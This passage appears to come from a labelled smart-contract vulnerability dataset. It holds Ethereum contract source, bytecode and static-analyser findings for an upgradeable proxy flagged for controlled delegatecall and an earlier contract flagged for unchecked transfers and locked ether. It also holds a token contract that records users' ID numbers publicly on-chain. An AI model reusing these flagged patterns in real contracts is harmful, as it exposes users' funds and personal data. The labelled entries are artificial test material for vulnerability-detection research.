6565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd610b65610e9a565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610bd757600080fd5b505af1158015610beb573d6000803e3d6000fd5b505050506040513d6020811015610c0157600080fd5b810190808051906020019092919050505050610c2881600354610f2590919063ffffffff16565b600381905550610c4381600454610f2590919063ffffffff16565b60048190555080427fe403a3279aa4b132750749c075363356048a88f2ecd577989ec504ea9095ed3160405160405180910390a3505050565b60045481565b610c8a610e9a565b73ffffffffffffffffffffffffffffffffffffffff16610ca86108cc565b73ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610fdd6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600082821115610f1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015610fa3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe596f752063616e206e6f742073656e64206574686572206469726563746c7920746f2074686520636f6e74726163744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373476173506179446973747269627574696f6e3a205a65726f206164647265737320666f756e6420696e20646973747269627574696f6e206c697374476173506179446973747269627574696f6e3a2043616c6c6572206973206e6f74207468652061646d696ea2646970667358221220b90588b0034cb8014122478f11961d066e4b1da400b73854e053973f7b119f8364736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
60
0xec88ba505bc341cd590dced6001c29f3b267970a
pragma solidity 0.5.14; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, address _admin, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } contract AccountsProxy is InitializableAdminUpgradeabilityProxy {}
0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b6100786004803603604081101561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610599945050505050565b34801561031257600080fd5b506101426106d9565b610323610704565b61033361032e610764565b610789565b565b61033d6107ad565b6001600160a01b0316336001600160a01b031614156103645761035f816107d2565b61036c565b61036c61031b565b50565b6103776107ad565b6001600160a01b0316336001600160a01b0316141561040f57610399836107d2565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b60006104266107ad565b6001600160a01b0316336001600160a01b0316141561044e57610447610764565b9050610456565b61045661031b565b90565b6104616107ad565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b81526004018080602001828103825260368152602001806108d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e86107ad565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610812565b600061051d610764565b6001600160a01b03161461053057600080fd5b61053a8382610599565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059057fe5b61041782610812565b60006105a3610764565b6001600160a01b0316146105b657600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461061657fe5b61061f82610836565b8051156106d5576000826001600160a01b0316826040518082805190602001908083835b602083106106625780518252601f199092019160209182019101610643565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106c2576040519150601f19603f3d011682016040523d82523d6000602084013e6106c7565b606091505b505090508061041757600080fd5b5050565b60006106e36107ad565b6001600160a01b0316336001600160a01b0316141561044e576104476107ad565b61070c6107ad565b6001600160a01b0316336001600160a01b0316141561075c5760405162461bcd60e51b81526004018080602001828103825260328152602001806108a56032913960400191505060405180910390fd5b610333610333565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107a8573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107db81610836565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61083f8161089e565b61087a5760405162461bcd60e51b815260040180806020018281038252603b81526020018061090d603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820942c7e0bd11baeb907df06453a785a5e1337916d2814be74ab9f33f8bcac302f64736f6c634300050e0032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
61
0x723437FAdE99e15A33a0355189e0a00eCE23A7D6
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * An ideal or perfect society */ contract GreatHarmon is Ownable { using SafeMath for uint256; /* Initializes contract */ function GreatHarmon() public { } //领取Basic income的冷却时间, 暂且设定为1天。 uint public cooldownTime = 1 days; //basicIncome发放限制 uint public basicIncomeLimit = 10000; //日常发放 uint public dailySupply = 50; /** * @dev 分发基本收入 */ function getBasicIncome() public { Resident storage _resident = residents[idOf[msg.sender]-1]; require(_isReady(_resident)); require(_isUnderLimit()); require(!frozenAccount[msg.sender]); balanceOf[msg.sender] += dailySupply; totalSupply = totalSupply.add(dailySupply); _triggerCooldown(_resident); GetBasicIncome(idOf[msg.sender]-1, _resident.name, dailySupply, uint32(now)); Transfer(address(this), msg.sender, dailySupply); } function _triggerCooldown(Resident storage _resident) internal { _resident.readyTime = uint32(now + cooldownTime); } /** * @dev BasicIncome 设定为每日领取一次。 领取之后,进入一天的冷却时间。 * 这里检测是否在冷却周期内。 */ function _isReady(Resident storage _resident) internal view returns (bool) { return (_resident.readyTime <= now); } /** * @dev 分发基本收入之前,需检测是否符合发放规则。 * 大同世界崇尚“按需索取”,贪婪获取是不应该的。 * 此函数检测居民的当前ghCoin,如果大于系统设定的basicIncomeLimit, * 则不能再获取basicIncome。 */ function _isUnderLimit() internal view returns (bool) { return (balanceOf[msg.sender] <= basicIncomeLimit); } //居民加入事件 event JoinGreatHarmon(uint id, string name, string identity, uint32 date); event GetBasicIncome(uint id, string name, uint supply, uint32 date); // 居民 struct Resident { string name; //姓名 string identity; //记录生日、性别等个人信息。类似身份证。 uint32 prestige; //声望值,大同世界中,鼓励人们“达则兼济天下”。做更多的好事。将提高声望值。 uint32 joinDate; //何时加入。 uint32 readyTime; //"Basic income system" 的冷却时间。 } Resident[] public residents; //存储居民id索引 mapping (address => uint) public idOf; function getResidentNumber() external view returns(uint) { return residents.length; } /** * @dev 加入“大同世界”的唯一入口。 * 加入“大同世界”的操作,除要消耗支付给以太坊矿工的gas,不需要再任何费用。 * 但我知道有很多好心人,乐于奉献, 于是这里作为一个payable函数, 你可以再加入“大同世界”的时候, * 向这个理想丰满而美好的组织捐赠任意大小的ether,助它更好的成长。 * @param _name 居民的显示名字 * @param _identity 各种实名认证之后产生的身份唯一标识. * (目前只需传身份证号码,并且非常相信愿意加入“大同世界”的人的行为,没有做太多的认证, * 假设这项目有人看好,再做更复杂的认证) */ function joinGreatHarmon(string _name, string _identity) public payable returns(uint) { //检测是否重复加入。 require(idOf[msg.sender] == 0); if (msg.value > 0) { donateMap[msg.sender] += msg.value; Donate(msg.sender, _name, msg.value, ""); } return _createResident(_name, _identity); } function _createResident(string _name, string _identity) internal returns(uint) { uint id = residents.push(Resident(_name, _identity, 0, uint32(now), uint32(now))); idOf[msg.sender] = id; JoinGreatHarmon(id, _name, _identity, uint32(now)); getBasicIncome(); return id; } function withdraw() external onlyOwner { owner.transfer(this.balance); } function setCooldownTime(uint _cooldownTime) external onlyOwner { cooldownTime = _cooldownTime; } function setBasicIncomeLimit(uint _basicIncomeLimit) external onlyOwner { basicIncomeLimit = _basicIncomeLimit; } function setDailySupply(uint _dailySupply) external onlyOwner { dailySupply = _dailySupply; } mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenAccount(address target, bool frozen); /// @notice `freeze? Prevent | Allow` `target` from get Basic Income /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) external onlyOwner { frozenAccount[target] = freeze; FrozenAccount(target, freeze); } mapping (address => uint) public donateMap; event Donate(address sender, string name, uint amount, string text); // accept ether donate function donate(string _text) payable public { if (msg.value > 0) { donateMap[msg.sender] += msg.value; Resident memory _resident = residents[idOf[msg.sender]-1]; Donate(msg.sender, _resident.name, msg.value, _text); } } // token erc20 // Public variables of the token string public name = "Great Harmon Coin"; string public symbol = "GHC"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 0; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461017a578063095ea7b3146102085780631283d0a01461026257806318160ddd146103a35780631c85ee51146103cc57806321e2933a146103e157806323b872dd146104045780632f4c0b081461047d578063313ce567146105265780633ccfd60b1461055557806342966c681461056a5780636ff73201146105a557806370a08231146105c857806379cc6790146106155780638da5cb5b1461066f57806395693071146106c457806395d89b4114610711578063a9059cbb1461079f578063b319c6b7146107e1578063b414d4b61461080a578063b5aebc801461085b578063d94fe832146108ad578063dd62ed3e146108fa578063e0cec91914610966578063e724529c14610989578063e8b611d6146109cd578063f2fde38b146109f6578063f390e4b414610a2f578063f50ecf0b14610a58575b600080fd5b341561018557600080fd5b61018d610a81565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cd5780820151818401526020810190506101b2565b50505050905090810190601f1680156101fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021357600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b1f565b604051808215151515815260200191505060405180910390f35b341561026d57600080fd5b6102836004808035906020019091905050610bac565b6040518080602001806020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff168152602001838103835288818151815260200191508051906020019080838360005b838110156102fd5780820151818401526020810190506102e2565b50505050905090810190601f16801561032a5780820380516001836020036101000a031916815260200191505b50838103825287818151815260200191508051906020019080838360005b83811015610363578082015181840152602081019050610348565b50505050905090810190601f1680156103905780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34156103ae57600080fd5b6103b6610d51565b6040518082815260200191505060405180910390f35b34156103d757600080fd5b6103df610d57565b005b34156103ec57600080fd5b610402600480803590602001909190505061103d565b005b341561040f57600080fd5b610463600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110a2565b604051808215151515815260200191505060405180910390f35b610510600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111cf565b6040518082815260200191505060405180910390f35b341561053157600080fd5b610539611373565b604051808260ff1660ff16815260200191505060405180910390f35b341561056057600080fd5b610568611386565b005b341561057557600080fd5b61058b600480803590602001909190505061145b565b604051808215151515815260200191505060405180910390f35b34156105b057600080fd5b6105c6600480803590602001909190505061155f565b005b34156105d357600080fd5b6105ff600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115c4565b6040518082815260200191505060405180910390f35b341561062057600080fd5b610655600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115dc565b604051808215151515815260200191505060405180910390f35b341561067a57600080fd5b6106826117f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106cf57600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061181b565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b610724611833565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610764578082015181840152602081019050610749565b50505050905090810190601f1680156107915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107aa57600080fd5b6107df600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118d1565b005b34156107ec57600080fd5b6107f46118e0565b6040518082815260200191505060405180910390f35b341561081557600080fd5b610841600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118e6565b604051808215151515815260200191505060405180910390f35b6108ab600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611906565b005b34156108b857600080fd5b6108e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cd5565b6040518082815260200191505060405180910390f35b341561090557600080fd5b610950600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ced565b6040518082815260200191505060405180910390f35b341561097157600080fd5b6109876004808035906020019091905050611d12565b005b341561099457600080fd5b6109cb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611d77565b005b34156109d857600080fd5b6109e0611e9c565b6040518082815260200191505060405180910390f35b3415610a0157600080fd5b610a2d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ea2565b005b3415610a3a57600080fd5b610a42611ff7565b6040518082815260200191505060405180910390f35b3415610a6357600080fd5b610a6b612004565b6040518082815260200191505060405180910390f35b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b175780601f10610aec57610100808354040283529160200191610b17565b820191906000526020600020905b815481529060010190602001808311610afa57829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600481815481101515610bbb57fe5b9060005260206000209060030201600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d055780601f10610cda57610100808354040283529160200191610d05565b820191906000526020600020905b815481529060010190602001808311610ce857829003601f168201915b5050505050908060020160009054906101000a900463ffffffff16908060020160049054906101000a900463ffffffff16908060020160089054906101000a900463ffffffff16905085565b600b5481565b600060046001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403815481101515610daa57fe5b90600052602060002090600302019050610dc38161200a565b1515610dce57600080fd5b610dd6612031565b1515610de157600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e3a57600080fd5b600354600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550610ea0600354600b5461207d90919063ffffffff16565b600b81905550610eaf8161209b565b7fa12e74a5b80688fc96fa74772ec3a7c1d1892954c316e1faed1b1c8c760871486001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403826000016003544260405180858152602001806